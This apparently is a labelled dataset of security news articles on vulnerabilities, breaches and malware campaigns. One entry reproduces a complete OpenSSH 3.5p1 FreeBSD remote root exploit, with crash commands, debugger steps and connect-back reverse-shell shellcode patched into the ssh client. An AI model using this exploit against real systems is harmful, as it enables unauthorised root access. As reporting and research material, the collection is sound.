Linux Distros Suffer from ""Sequoia"" Privilege Escalation Flaw
It's not just Windows. Remediations have been released for a security shortcoming affecting all Linux kernel versions from 2014 that can be exploited by malicious users and malware already deployed on a system to gain root-level privileges.
Dubbed ""Sequoia"" by researchers from cybersecurity firm Qualys, the issue has been assigned the identifier CVE-2021-33909 and affects default installations of Ubuntu 20.04, Ubuntu 20.10, Ubuntu 21.04, Debian 11, and Fedora 34 Workstation. Red Hat Enterprise Linux versions 6, 7, and 8 are also affected by the vulnerability.
Specifically, the flaw concerns a size_t-to-int type conversion vulnerability in the Linux Kernel's ""seq_file"" file system interface, permitting an unprivileged local attacker to create, mount, and delete a deep directory structure whose total path length exceeds 1GB, resulting in privilege escalation on the vulnerable host.
Separately, Qualys also disclosed a stack exhaustion denial-of-service vulnerability in systemd (CVE-2021-33910) that could be exploited by unprivileged attackers to crash the software suite and trigger a kernel panic.

",Vulnerability
'The Washington Post' compromised 3rd time in the last 3 years,https://thehackernews.com/2013/12/the-washington-post-compromised-3rd.html,"Security experts at Mandiant intelligence firm have discovered a new intrusion into the network of The Washington Post, it is the third time in the last three years. In time I'm writing it is still not clear the extension of the attack neither an estimation of the losses.

Mandiant reported the incident to The Washington Post this week, confirming that exposed data include employees' credentials hash.
""Hackers broke into The Washington Post's servers and gained access to employee user names and passwords, marking at least the third intrusion over the past three years, company officials said Wednesday."" a post of the news agency said.

Early 2013 the New York Times has announced that during the previous months it was a victim of cyber espionage coordinated by Chinese hackers, similar attacks was conducted against principal Americans news agencies.

The hackers have tried to compromise the email account of journalists to steal sensitive information, they tried to infiltrate the network of news agencies using several dozen instances of malware, as revealed by forensics analysis conducted by the Mandiant security firm. The attackers obtained password data for all of the Washington Post reporters and other employees.

Regarding this last attack there is no evidence that subscriber information such as credit card data or home addresses was stolen neither the information of which offices of the popular media agency were impacted (e.g. Publishing system, employee e-mail databases, HR database).

The hackers in many cases targeted server used by the paper's foreign staff to extend their operation to the entire company infrastructure.

Investigators believe the intrusion lasted at most a few days, but the news is very worrying considering that large international news organizations have become a privileged target for hacking campaigns. The Washington Post, NYT and Associated Press were subject to numerous attacks conducted by state-sponsored hackers including the popular group of hackers Syrian Electronic Army.

Waiting for more detailed results of investigation officials planned to ask all employees to change their user names and passwords on the assumption that a large number of them may have been compromised.

",Cyber_Attack
Searching for Best Encryption Tools? Hackers are Spreading Malware Through Fake Software,https://thehackernews.com/2016/10/best-encryption-tools.html,"Over the past few years, Internet users globally have grown increasingly aware of online privacy and security issues due to mass monitoring and surveillance by government agencies, making them adopt encryption software and services.

But it turns out that hackers are taking advantage of this opportunity by creating and distributing fake versions of encryption tools in order to infect as many victims as possible.

Kaspersky Lab has revealed an advanced persistent threat (APT) group, nicknamed StrongPity, which has put a lot of efforts in targeting users of software designed for encrypting data and communications.

The StrongPity APT group has been using watering-hole attacks, infected installers, and malware for many years to target users of encryption software by compromising legitimate sites or setting up their own malicious copycat sites.

Watering hole attacks are designed to lure specific groups of users to their interest-based sites that typically house malicious files or redirect them to attacker-controlled downloads.

The StrongPity APT group has managed to infect users in Europe, Northern Africa, and the Middle East and targeted two free encryption utilities in different attacks: WinRAR and TrueCrypt.

WinRAR and TrueCrypt are long popular within security and privacy conscious users. WinRAR is best known for its archiving capabilities that encrypting files with AES-256 crypto, while TrueCrypt is a full-disk encryption utility that locks all files on a hard drive.

By setting up fake distribution sites that closely mimic legitimate download sites, StrongPity is able to trick users into downloading malicious versions of these encryption apps in hopes that users encrypt their data using a trojanized version of WinRAR or TrueCrypt apps, allowing attackers to spy on encrypted data before encryption occurred.

""The problem with people depending on tools like this isn't the strength of the crypto, but more about how it's distributed,"" says Kurt Baumgartner, principal security researcher at Kaspersky Lab. ""This is that problem that StrongPity is taking advantage of.""

Booby-Trapped WinRAR and TrueCrypt Downloads

The APT group previously set up TrueCrypt-themed watering holes in late 2015, but their malicious activity surged in end of summer 2016.

Between July and September, dozens of visitors have redirected from tamindir[.]com to true-crypt[.]com with unsurprisingly almost all of the focus on computer systems in Turkey, with some victims in the Netherlands.

However, in WinRAR case, instead of redirecting victims to a website controlled by StrongPity, the group hijacked the legitimate winrar.it website to host a malicious version of the file themselves.

The winrar.it website infected users mostly in Italy, with some victims in countries like Belgium, Algeria, Tunisia, France, Morocco and Cote D'Ivoire, while the attackers controlled site, winrar.be, infected users in Belgium, Algeria, Morocco, the Netherlands, and Canada.

Top Countries infected with StrongPity APT malware

According to Kaspersky, more than 1,000 systems infected with StrongPity malware this year. The top five countries affected by the group are Italy, Turkey, Belgium, Algeria and France.

The StrongPity APT's dropper malware was signed with ""unusual digital certificates,"" but the group didn't re-use its fake digital certificates. It downloaded components include a backdoor, keyloggers, data stealers and other crypto-related software programs, including the putty SSH client, the filezilla FTP client, the Winscp secure file transfer program and remote desktop clients.

The dropper malware not only provides the hackers control of the system, but also allows them to steal disk contents and download other malware that would steal communication and contact information.

Therefore, users visiting sites and downloading encryption-enabled software are advised to verify both the validity of the distribution website as well as the integrity of the downloaded file itself.

Download sites that not use PGP or any strong digital code signing certificate are required to re-examine the necessity of doing so for the benefits of them as well as their own customers, explained Baumgartner.

",Cyber_Attack
Flame Malware against French Government,https://thehackernews.com/2012/11/flame-malware-against-french-government_22.html,"The news is sensational, according the French magazine L'Express the offices of France's former president Sarkozy were victim of a cyber attack, but what is even more remarkable is that for the offensive was used the famous malware Flame.

On the origin of the malware still persist a mystery, many security experts attribute it to joint work of Israel and US development team.

Let's remind that according the analysis on Flame source code conducted by Kaspersky the malware is linked to Stuxnet, a version of the famous virus shared a module with the spy toolkit.

Frame is considered one of the most complex spy tool produced by a state sponsored project and its use in the attacks against French government suggests the existence of a cyber espionage campaign to collect sensible information.

An official declaration coming from spokesmen of the Elysee Palace and reported by the magazine states:
""Hackers have not only managed to get to the heart of French political power,"" ""but they were able to search the computers of close advisers of Nicolas Sarkozy.""

Surely the operation has led to the theft of confidential information regarding the policy of the French government even if it seems not to have directly involved the President who does not have a personal computer.
""secret notes were recovered from hard drives, and also strategic plans."" reports the article.

The vector used to spread the malware is the popular social network Facebook , the hackers shared a link to compromised website that replicated the Elysee's intranet site gathering also user's credentials.

Flame has infected the pc belonging presidential network which include of a number of Sarkozy's closest collaborators.

The malicious code has been detected by the Agency nationale de la sécurité des systèmes d'information (Anssi) that immediately has knocked out the network to conduct the proper analysis and of course the sanitation of the IT infrastructure.

The French government avoided to comment the incident, but in internet is circulating the news on a possible involvement in the operation of the United States.

Fonts of the government revealed that the national infrastructures are steadily under attack, they declared that other two large scale cyber attacks were discovered in May without providing further info.


",Malware
Critical Skype Bug Lets Hackers Remotely Execute Malicious Code,https://thehackernews.com/2017/06/skype-crash-bug.html,"A critical vulnerability has been discovered in Microsoft-owned most popular free web messaging and voice calling service Skype that could allow hackers to remotely execute malicious code and crash systems.

Skype is a free online service that allows users to communicate with peers by voice, video, and instant messaging over the Internet. The service was acquired by Microsoft Corporation in May 2011 for US$8.5 Billion due to its worldwide popularity.

Security researcher Benjamin Kunz-Mejri from Germany-based security firm Vulnerability Lab discovered the previously unknown stack buffer overflow vulnerability, which is documented in CVE-2017-9948, in Skype Web's messaging and call service during a team conference call.

The vulnerability is considered a high-security risk with a 7.2 CVSS score and affects Skype versions 7.2, 7.35, and 7.36 on Windows XP, Windows 7 and Windows 8, Mejri said in a public security disclosure published on Monday.
""The issue can be exploited remotely via session or by local interaction. The problem is located in the print clipboard format & cache transmit via remote session on Windows XP, Windows 7, Windows 8 and Windows 10. In Skype v7.37 the vulnerability is patched,"" the security firm wrote.

No User Interaction Needed

What's worst? The stack buffer overflow vulnerability doesn't require any user interaction, and only require a low privilege Skype user account.

So, an attacker can remotely crash the application ""with an unexpected exception error, to overwrite the active process registers,"" or even execute malicious code on a target system running the vulnerable Skype version.

The issue resides in the way Skype uses the 'MSFTEDIT.DLL' file in case of a copy request on local systems.

Here's How Attackers can Exploit this Flaw

According to the vulnerability report, attackers can craft a malicious image file and then copy and paste it from a clipboard of a computer system into a conversation window in the Skype application.

Once this image is hosted on a clipboard on both the remote and the local systems, Skype experiences a stack buffer overflow, causing errors and crashing the application, which left the door open for more exploits.
""The limitation of the transmitted size and count for images via print of the remote session clipboard has no secure limitations or restrictions. Attackers [can] crash the software with one request to overwrite the EIP register of the active software process,"" researchers from Vulnerability Lab says.
""Thus allows local or remote attackers to execute own codes on the affected and connected computer systems via the Skype software,"" they added.

Proof-of-Concept Code Released

The security firm has also provided proof-of-concept (PoC) exploit code that you can use to test the flaw.

Vulnerability Lab reported the flaw to Microsoft on 16th May, and Microsoft fixed the issue and rolled out a patch on 8 June in Skype version 7.37.178.

If you are Skype user, make sure that you run the latest version of the application on your system in order to protect themselves from cyber attacks based on this vulnerability.

",Vulnerability
Hacker Downloaded Vine's Entire Source Code. Here's How...,https://thehackernews.com/2016/07/vine-source-code.html,"Guess What? Someone just downloaded Twitter's Vine complete source code.

Vine is a short-form video sharing service where people can share 6-second-long looping video clips. Twitter acquired the service in October 2012.

Indian Bug bounty hunter Avinash discovered a loophole in Vine that allowed him to download a Docker image containing complete source code of Vine without any hassle.

Launched in June 2014, Docker is a new open-source container technology that makes it possible to get more apps running on the same old servers and also very easy to package and ship programs. Nowadays, companies are adopting Docker at a remarkable rate.

However, the Docker images used by the Vine, which was supposed to be private, but actually was available publically online.

While searching for the vulnerabilities in Vine, Avinash used Censys.io – an all new Hacker's Search Engine similar to Shodan – that daily scans the whole Internet for all the vulnerable devices.

Using Censys, Avinash found over 80 docker images, but he specifically downloaded 'vinewww', due to the fact that the naming convention of this image resembles www folder, which is generally used for the website on a web server.

After the download was complete, he ran the docker image vinewww, and Bingo!
The bug hunter was able to see the entire source code of Vine, its API keys as well as third-party keys and secrets. ""Even running the image without any parameter, was letting me host a replica of VINE locally,"" He wrote.

The 23-year-old reported this blunder and demonstrated full exploitation to Twitter on 31 March and the company rewarded him with $10,080 Bounty award and fixed the issue within 5 minutes.

Avinash has been an active bug bounty hunter since 2015 and until now has reported 19 vulnerabilities to Twitter.

",Vulnerability
Another Java zero-day vulnerability being exploited in the wild,https://thehackernews.com/2013/03/another-java-zero-day-vulnerability.html,"Do you still have Java installed? There is a bad news for you ! FireEye has detected yet another Java zero-day vulnerability being exploited in attacks in the wild.



The vulnerability targets browsers that have the latest version of the Java plugin installed Java v1.6 Update 41 and Java v1.7 Update 15 and FireEye warned that the vulnerability is being exploited to install a remote-access trojan dubbed McRat, researchers from security firm.

""Not like other popular Java vulnerabilities in which security manager can be disabled easily, this vulnerability leads to arbitrary memory read and write in JVM process,""

""After triggering the vulnerability, exploit is looking for the memory which holds JVM internal data structure like if security manager is enabled or not, and then overwrites the chunk of memory as zero.""

The exploit is reportedly different from the one used to attack Facebook, Twitter, Apple, and several other companies last month.

It is not known if this particular Java vulnerability is on Windows only or on Linux and Mac OS X, too. However, McRat is a Windows Trojan so the in-the-wild attacks are specifically targeting Windows users.

If you don't want any chance of being infected, the best thing to do is uninstall Java altogether.

",Vulnerability
Yahoo Quickly Fixes SQL Injection Vulnerability Escalated to Remote Code Execution,https://thehackernews.com/2014/09/yahoo-quickly-fixes-sql-injection_19.html,"Yahoo! was recently impacted by a critical web application vulnerabilities which left website's database and server vulnerable to hackers.

A cyber security expert and penetration tester, Ebrahim Hegazy a.k.a Zigoo from Egypt, has found a serious SQL injection vulnerability in Yahoo's website that allows an attacker to remotely execute any commands on its server with Root Privileges.

According to Hegazy blog post, the SQLi vulnerability resides in a domain of Yahoo! website i.e. https://innovationjockeys.net/tictac_chk_req.php.

Any remote user can manipulate the input to the ""f_id"" parameter in the above URL, which could be exploited to extract database from the server.
While pentesting, he found username and password (encoded as Base64) of Yahoo!' admin panel stored in the database. He decoded the Administrator Password and successfully Logged in to the Admin panel.

Furthermore, SQL injection flaw also facilitate the attacker to exploit Remote Code Execution on the server and an un-patched kernel allows Root access on the server.

Admin panel allows him to upload files on the server but after uploading a file with ""phpinfo();"" function as a content, he found that the uploaded file was named in "".xrds+xml"" instead of being in "".php""
But in second attempt, he intercepted the file uploading request and renamed the ""Content-Type"" Header to ""application/php"", which triggers the PHP code on the target server successfully i.e. Remote Code Execution.

Hegazy reported the flaw to Yahoo! Security Team on 5th September and interesting fact, Yahoo! has fixed the flaw within a day after he reported. But, strange part is that the purple company didn't considered this vulnerability for a reward, as the vulnerable domain is out-of-scope of Yahoo!'s bug bounty program.

",Vulnerability
OpenSSH 3.5p1 Remote Root Exploit for FreeBSD,https://thehackernews.com/2011/06/openssh-35p1-remote-root-exploit-for.html,"OpenSSH 3.5p1 Remote Root Exploit for FreeBSD


OpenSSH 3.5p1 Remote Root Exploit for FreeBSD has been shared by kcope on twitter. The Released note is as given below :



OpenSSH 3.5p1 Remote Root Exploit for FreeBSD
Discovered and Exploited By Kingcope
Year 2011
--

The last two days I have been investigating a vulnerability in OpenSSH
affecting at least FreeBSD 4.9 and 4.11. These FreeBSD versions run
OpenSSH 3.5p1 in the default install.

The sshd banner for 4.11-RELEASE is ""SSH-1.99-OpenSSH_3.5p1 FreeBSD-20060930"".

A working Remote Exploit which spawns a root shell remotely and 
previous to authentication was developed.

The bug can be triggered both through ssh version 1 and ssh version 2
using a modified ssh client. During the investigation of the vulnerability it was found that
the bug resides in the source code file ""auth2-pam-freebsd.c"".

https://www.freebsd.org/cgi/cvsweb.cgi/src/crypto/openssh/Attic/auth2-pam-freebsd.c

This file does not exist in FreeBSD releases greater than 5.2.1. The last commit
is from 7 years ago.

Specifically the bug follows a code path in the PAM Authentication Thread inside this
source code, ""pam_thread()"". It could not be verified if the bug is inside this
(third party, freebsd) OpenSSH code or in the FreeBSD pam library itself.

Both the challenge response (ssh version 1) and keyboard interactive via pam
(ssh version 2) authentications go through this code path.

By supplying a long username to the daemon the sshd crashes.

h4x# sysctl kern.sugid_coredump=1
kern.sugid_coredump: 0 -> 1

root@debian:~# ssh -l`perl -e 'print ""A"" x 100'` 192.168.32.138

h4x# tail -1 /var/log/messages
Jun 30 16:01:25 h4x /kernel: pid 160 (sshd), uid 0: exited on signal 11 (core dumped)

Looking into the coredump reveals:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type ""show copying"" to see the conditions.
There is absolutely no warranty for GDB.  Type ""show warranty"" for details.
This GDB was configured as ""i386-unknown-freebsd"".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x28092305 in ?? ()
(gdb) x/1i $eip
0x28092305:     (bad)

The sshd crahes at a place with illegal instructions. It looks like it depends
on how the sshd is started. Starting the sshd from the console as root and running
the ssh client with long username again reveals:

h4x# killall -9 sshd
h4x# /usr/sbin/sshd

root@debian:~# ssh -l`perl -e 'print ""A"" x 100'` 192.168.32.138

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type ""show copying"" to see the conditions.
There is absolutely no warranty for GDB.  Type ""show warranty"" for details.
This GDB was configured as ""i386-unknown-freebsd"".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) x/10i $eip
0x41414141:     Cannot access memory at address 0x41414141.

As you can see in the above gdb output we can control EIP completely.
If someone finds out on what this behaviour depends, especially why EIP can
be controlled when starting sshd in the console and can not be easily controlled
when being run from the boot sequence, please drop me an email at
isowarez.isowarez.isowarez@googlemail.com.

Anyhow this procedure shows that the sshd can be exploited because the instruction
pointer can be fully controlled.

The developed exploit (Proof of Concept only) is a patched OpenSSH 5.8p2 client.
Using a reverse shellcode it will spawn a rootshell.

Only one offset is needed, the position of the shellcode can be found the following way:

h4x# gdb -c /sshd.core
GNU gdb 4.18 (FreeBSD)
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type ""show copying"" to see the conditions.
There is absolutely no warranty for GDB.  Type ""show warranty"" for details.
This GDB was configured as ""i386-unknown-freebsd"".
Core was generated by `sshd'.
Program terminated with signal 11, Segmentation fault.
#0  0x41414141 in ?? ()
(gdb) set $x=0x08071000
(gdb) while(*++$x!=0x90909090)
 >end
(gdb) x/10b $x

The printed address is the beginning of the shellcode nopsled.

Attached is the Proof of Concept as a diff to OpenSSH-5.8p2.

It roughly does the following:

root@debian:~# ./ssh -1 192.168.32.138

root@debian:~# nc -v -l -p 10000
listening on [any] 10000 ...
192.168.32.138: inverse host lookup failed: Unknown host
connect to [192.168.32.128] from (UNKNOWN) [192.168.32.138] 1038
uname -a;id;
FreeBSD h4x.localdomain 4.11-RELEASE FreeBSD 4.11-RELEASE #0: Fri Jan 21 17:21:22 GMT 2005     root@perseus.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC  i386
uid=0(root) gid=0(wheel) groups=0(wheel)

--

root@debian:~# diff openssh-5.8p2/sshconnect1.c openssh-5.8p2_2/sshconnect1.c
667a668,717
> // Connect Back Shellcode
>
> #define       IPADDR  ""\xc0\xa8\x20\x80""
> #define PORT  ""\x27\x10""              /* htons(10000) */
>
> char sc[] =
>    ""\x90\x90""
>    ""\x90\x90""
>    ""\x31\xc9""                 // xor    ecx, ecx
>    ""\xf7\xe1""                 // mul    ecx
>    ""\x51""                     // push   ecx
>    ""\x41""                     // inc    ecx
>    ""\x51""                     // push   ecx
>    ""\x41""                     // inc    ecx
>    ""\x51""                     // push   ecx
>    ""\x51""                     // push   ecx
>    ""\xb0\x61""                 // mov    al, 97
>    ""\xcd\x80""                 // int    80h
>    ""\x89\xc3""                 // mov    ebx, eax
>    ""\x68""IPADDR                       // push   dword 0101017fh
>    ""\x66\x68""PORT             // push   word 4135
>    ""\x66\x51""                 // push   cx
>    ""\x89\xe6""                 // mov    esi, esp
>    ""\xb2\x10""                 // mov    dl, 16
>    ""\x52""                     // push   edx
>    ""\x56""                     // push   esi
>    ""\x50""                     // push   eax
>    ""\x50""                     // push   eax
>    ""\xb0\x62""                 // mov    al, 98
>    ""\xcd\x80""                 // int    80h
>    ""\x41""                     // inc    ecx
>    ""\xb0\x5a""                 // mov    al, 90
>    ""\x49""                     // dec    ecx
>    ""\x51""                     // push   ecx
>    ""\x53""                     // push   ebx
>    ""\x53""                     // push   ebx
>    ""\xcd\x80""                 // int    80h
>    ""\x41""                     // inc    ecx
>    ""\xe2\xf5""                 // loop   -10
>    ""\x51""                     // push   ecx
>    ""\x68\x2f\x2f\x73\x68""     // push   dword 68732f2fh
>    ""\x68\x2f\x62\x69\x6e""     // push   dword 6e69622fh
>    ""\x89\xe3""                 // mov    ebx, esp
>    ""\x51""                     // push   ecx
>    ""\x54""                     // push   esp
>    ""\x53""                     // push   ebx
>    ""\x53""                     // push   ebx
>    ""\xb0\xc4\x34\xff""
>    ""\xcd\x80"";                // int    80h
>
679a730,737
>       char buffer[8096];
>
>       // Offset is for FreeBSD-4.11 RELEASE OpenSSH 3.5p1
>       memcpy(buffer, ""AAAA\x58\xd8\x07\x08""""CCCCDDDDEEEE\xd8\xd8\x07\x08""""GGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO"", 24);
>       memset(buffer+24, '\x90', 5000);
>       memcpy(buffer+24+5000, sc, sizeof(sc));
>       server_user=buffer;
>
690a749
>

Cheers,

Kingcope

",Vulnerability
ALERT: Critical RCE Bug in VMware vCenter Server Under Active Attack,https://thehackernews.com/2021/06/alert-critical-rce-bug-in-vmware.html,"Malicious actors are actively mass scanning the internet for vulnerable VMware vCenter servers that are unpatched against a critical remote code execution flaw, which the company addressed late last month.
The ongoing activity was detected by Bad Packets on June 3 and corroborated yesterday by security researcher Kevin Beaumont. ""Mass scanning activity detected from 104.40.252.159 checking for VMware vSphere hosts vulnerable to remote code execution,"" tweeted Troy Mursch, chief research officer at Bad Packets.
The development follows the publication of a proof-of-concept (PoC) RCE exploit code targeting the VMware vCenter bug.
Tracked as CVE-2021-21985 (CVSS score 9.8), the issue is a consequence of a lack of input validation in the Virtual SAN (vSAN) Health Check plug-in, which could be abused by an attacker to execute commands with unrestricted privileges on the underlying operating system that hosts the vCenter Server.
Although the flaw was rectified by VMware on May 25, the company strongly urged its customers to apply the emergency change immediately. ""In this era of ransomware it is safest to assume that an attacker is already inside the network somewhere, on a desktop and perhaps even in control of a user account, which is why we strongly recommend declaring an emergency change and patching as soon as possible,"" VMware said.
This is not the first time adversaries have opportunistically mass scanned the internet for vulnerable VMware vCenter servers. A similar remote code execution vulnerability (CVE-2021-21972) that was patched by VMware in February became the target of cyber threat actors attempting to exploit and take control of unpatched systems.
At least 14,858 vCenter servers were found reachable over the internet at the time, according to Bad Packets and Binary Edge.
What's more, a new research from Cisco Talos earlier this week found that the threat actor behind the Python-based Necro bot wormed its way into exposed VMware vCenter servers by abusing the same security weakness to boost the malware's infection propagation capabilities.

",Malware
Critical Flaws in Intel Processors Leave Millions of PCs Vulnerable,https://thehackernews.com/2017/11/intel-chipset-flaws.html,"In past few months, several research groups have uncovered vulnerabilities in the Intel remote administration feature known as the Management Engine (ME) which could allow remote attackers to gain full control of a targeted computer.

Now, Intel has admitted that these security vulnerabilities could ""potentially place impacted platforms at risk.""

The popular chipmaker released a security advisory on Monday admitting that its Management Engine (ME), remote server management tool Server Platform Services (SPS), and hardware authentication tool Trusted Execution Engine (TXE) are vulnerable to multiple severe security issues that place millions of devices at risk.

The most severe vulnerability (CVE-2017-5705) involves multiple buffer overflow issues in the operating system kernel for Intel ME Firmware that could allow attackers with local access to the vulnerable system to ""load and execute code outside the visibility of the user and operating system.""

The chipmaker has also described a high-severity security issue (CVE-2017-5708) involving multiple privilege escalation bugs in the operating system kernel for Intel ME Firmware that could allow an unauthorized process to access privileged content via an unspecified vector.

Systems using Intel Manageability Engine Firmware version 11.0.x.x, 11.5.x.x, 11.6.x.x, 11.7.x.x, 11.10.x.x and 11.20.x.x are impacted by these vulnerabilities.

For those unaware, Intel-based chipsets come with ME enabled for local and remote system management, allowing IT administrators to remotely manage and repair PCs, workstations, and servers within their organization.

As long as the system is connected to a line power and a network cable, these remote functions can be performed out of band even when the computer is turned off as it operates independently of the operating system.

Since ME has full access to almost all data on the computer, including its system memory and network adapters, exploitation of the ME flaws to execute malicious code on it could allow for a complete compromise of the platform.
""Based on the items identified through the comprehensive security review, an attacker could gain unauthorised access to the platform, Intel ME feature, and third party secrets protected by the ME, Server Platform Service (SPS), or Trusted Execution Engine (TXE),"" Intel said.
Besides running unauthorized code on computers, Intel has also listed some attack scenarios where a successful attacker could crash systems or make them unstable.

Another high-severity vulnerability involves a buffer overflow issue (CVE-2017-5711) in Active Management Technology (AMT) for the Intel ME Firmware that could allow attackers with remote Admin access to the system to execute malicious code with AMT execution privilege.

AMT for Intel ME Firmware versions 8.x, 9.x, 10.x, 11.0.x.x, 11.5.x.x, 11.6.x.x, 11.7.x.x, 11.10.x.x and 11.20.x.x are impacted by this vulnerability.

The worst part is that it's almost impossible to disable the ME feature to protect against possible exploitation of these vulnerabilities.
""The disappointing fact is that on modern computers, it is impossible to completely disable ME,"" researchers from Positive Technologies noted in a detailed blog post published late August. ""This is primarily due to the fact that this technology is responsible for initialization, power management, and launch of the main processor.""
Other high severity vulnerabilities impact TXE version 3.0 and SPS version 4.0, leaving millions of computers with the feature at risk. These are described as:

High Severity Flaws in Server Platform Service (SPS)
CVE-2017-5706: This involves multiple buffer overflow issues in the operating system kernel for Intel SPS Firmware that could allow attackers with local access to the system to execute malicious code on it.
CVE-2017-5709: This involves multiple privilege escalation bugs in the operating system kernel in Intel SPS Firmware that could allow an unauthorized process to access privileged content via an unspecified vector.
Both the vulnerabilities impact Intel Server Platform Services Firmware 4.0.x.x.

High Severity Flaws in Intel Trusted Execution Engine (TXE)
CVE-2017-5707: This issue involves multiple buffer overflow flaws in the operating system kernel in Intel TXE Firmware that allow attackers with local access to the system to execute arbitrary code on it.
CVE-2017-5710: This involves multiple privilege escalation bugs in the operating system kernel in Intel TXE Firmware that allow an unauthorized process to access privileged content via an unspecified vector.
Both the vulnerabilities impact Intel Trusted Execution Engine Firmware 3.0.x.x.

Affected Intel Products

Below is the list of the processor chipsets which include the vulnerable firmware:
6th, 7th and 8th Generation Intel Core processors
Xeon E3-1200 v5 and v6 processors
Xeon Scalable processors
Xeon W processors
Atom C3000 processors
Apollo Lake Atom E3900 series
Apollo Lake Pentiums
Celeron N and J series processors
Intel has issued patches across a dozen generations of CPUs to address these security vulnerabilities that affect millions of PCs, servers, and the internet of things devices, and is urging affected customers to update their firmware as soon as possible.

The chipmaker has also published a Detection Tool to help Windows and Linux administrators check if their systems are exposed to any threat.

The company thanked Mark Ermolov and Maxim Goryachy from Positive Technologies Research for discovering CVE-2017-5705 and bringing it to its attention, which forced the chipmaker to review its source code for vulnerabilities.

",Vulnerability
Hollywood wants Right to use Malware to hack the computers of Pirates,https://thehackernews.com/2013/05/hollywood-wants-right-to-use-malware-to.html,"In the constant battle between illegal file sharers (Pirates) and the entertainment industry (Hollywood) supplying the protected digital materials, the pirates have been staying one step ahead, although the industry may soon have a powerful new weapon in their arsenal.
A new report released by the Commission on the Theft of American Intellectual Property suggests the use of malware to fight piracy. In a report, the Commission on the Theft of American Intellectual Property proposed many ways piracy can be combated, including infecting alleged violators' computers with malware that can wreck havoc, including and up to destroying the user's computer.

It would also give the entertainment industry the advantage of tracking those who commit IP theft on-line no matter their location. Though it sounds reasonable on the surface, it is really a bad idea due to the challenge of correctly identifying a cyber attacker, as well as the unavoidable risk of collateral damage.

If you want to read an 84-page report from the Commission on the Theft of American Intellectual Property, then check it out here.

The worrisome fact is that whether you are a pirate of not, the malware will be installed on your computer, discreetly keeping an eye on everything you get off the Internet. If you have some pirated movies or songs on your computer, you could be deemed an IP thief and have nasty things done to your system by rights holders if counterattacks were legalized.

",Malware
Software Supply-Chain Attack Hits Vietnam Government Certification Authority,https://thehackernews.com/2020/12/software-supply-chain-attack-hits.html,"Cybersecurity researchers today disclosed a new supply-chain attack targeting the Vietnam Government Certification Authority (VGCA) that compromised the agency's digital signature toolkit to install a backdoor on victim systems.
Uncovered by Slovak internet security company ESET early this month, the ""SignSight"" attack involved modifying software installers hosted on the CA's website (""ca.gov.vn"") to insert a spyware tool called PhantomNet or Smanager.
According to ESET's telemetry, the breach happened from at least July 23 to August 16, 2020, with the two installers in question — ""gca01-client-v2-x32-8.3.msi"" and ""gca01-client-v2-x64-8.3.msi"" for 32-bit and 64-bit Windows systems — tampered to include the backdoor.
""The compromise of a certification authority website is a good opportunity for APT groups, since visitors are likely to have a high level of trust in a state organization responsible for digital signatures,"" ESET's Matthieu Faou said.
After the attack was reported to VGCA, the certificate authority confirmed that ""they were aware of the attack before our notification and that they notified the users who downloaded the trojanized software.""
The digital signature tool, mandated by Vietnam's Government Cipher Committee as part of an electronic authentication scheme, is used by the government sector as well as private companies to digitally sign documents using a USB token (also called a PKI token) that stores the digital signature and requires the aforementioned driver to operate.
As a consequence, the only way a user can get infected is when the compromised software hosted on the official website is manually downloaded and executed on the target system.
Once installed, the modified software starts the genuine GCA program to mask the breach and then runs the PhantomNet backdoor that masquerades as a seemingly harmless file named ""eToken.exe.""
The backdoor — compiled most recently on April 26 — takes the responsibility of collecting system information, with additional malicious capabilities deployed through plugins retrieved from hardcoded command-and-control servers (e.g. ""vgca.homeunix[.]org"" and ""office365.blogdns[.]com"") that mimic the names of VGCA and popular productivity software.
ESET said in addition to Vietnam, it saw victims in the Philippines, but their delivery mechanism remains unknown. The ultimate goal of the attackers remains unclear as well, what with little to no information about the post-compromise activity.
If anything, the incident highlights why supply-chain attacks are increasingly becoming a common attack vector among cyberespionage groups, as it allows the adversaries to deploy malware on many computers at the same time covertly.
In November, ESET disclosed a Lazarus campaign in South Korea that used legitimate security software and stolen digital certificates to distribute remote administration tools (RATs) on target systems.
Then last week, it also found that a chat software called Able Desktop, used by 430 government agencies in Mongolia, was abused to deliver the HyperBro backdoor, the Korplug RAT, and another Trojan called Tmanger.
Lastly, a supply-chain attack on SolarWinds Orion software discovered this week was exploited to breach several major US government agencies, including the Departments of Homeland Security, Commerce, Treasury, and State.
""Supply-chain attacks are typically hard to find, as the malicious code is generally hidden among a lot of legitimate code, making its discovery significantly more difficult,"" Faou concluded.

",Cyber_Attack
First Large Cyber Espionage Activity against Pakistan Emanating From India,https://thehackernews.com/2013/05/first-large-cyber-espionage-activity.html,"Cyber Security researchers have discovered a family of information stealing malware targeting Pakistan that originates out of India.

Norman Shark, the global security leader in malware analysis solutions for enterprises, service providers and government, today released a report detailing a large and sophisticated cyber-attack infrastructure that appears to have originated from India.
The attacks, conducted by private threat actors over a period of three years and still ongoing, showed no evidence of state sponsorship but the primary purpose of the global command-and-control network appears to be intelligence gathering from a combination of national security targets and private sector companies.

Attackers used known vulnerabilities in Microsoft software, chucking malware dubbed HangOver onto target machines, most of which were based in Pakistan, where 511 infections associated with the campaign were detected. HangOver installs keyloggers, takes screenshots and records victims' browser usage, before sending the pilfered data off to remote servers by FTP or HTTP.

The malware installed on the infected computers is primarily designed to steal information, but its functionality can be enhanced with additional modules.

There's also evidence that the attackers are signing their code with an old certificate that was issued in 2011 to Technical and Commercial Consulting Pvt. Ltd., a firm based in New Delhi, India. The certificate had been revoked in late March 2012, but was still in use. Eset contacted VeriSign, which revoked the certificate. Eset found more than 70 binary files signed with the malicious certificate.

The payloads dropped by the malware offer a range from access. ESET discovered downloaders, document uploaders, keyloggers, reverse shells, and payloads with the ability to self-replicate within a network.

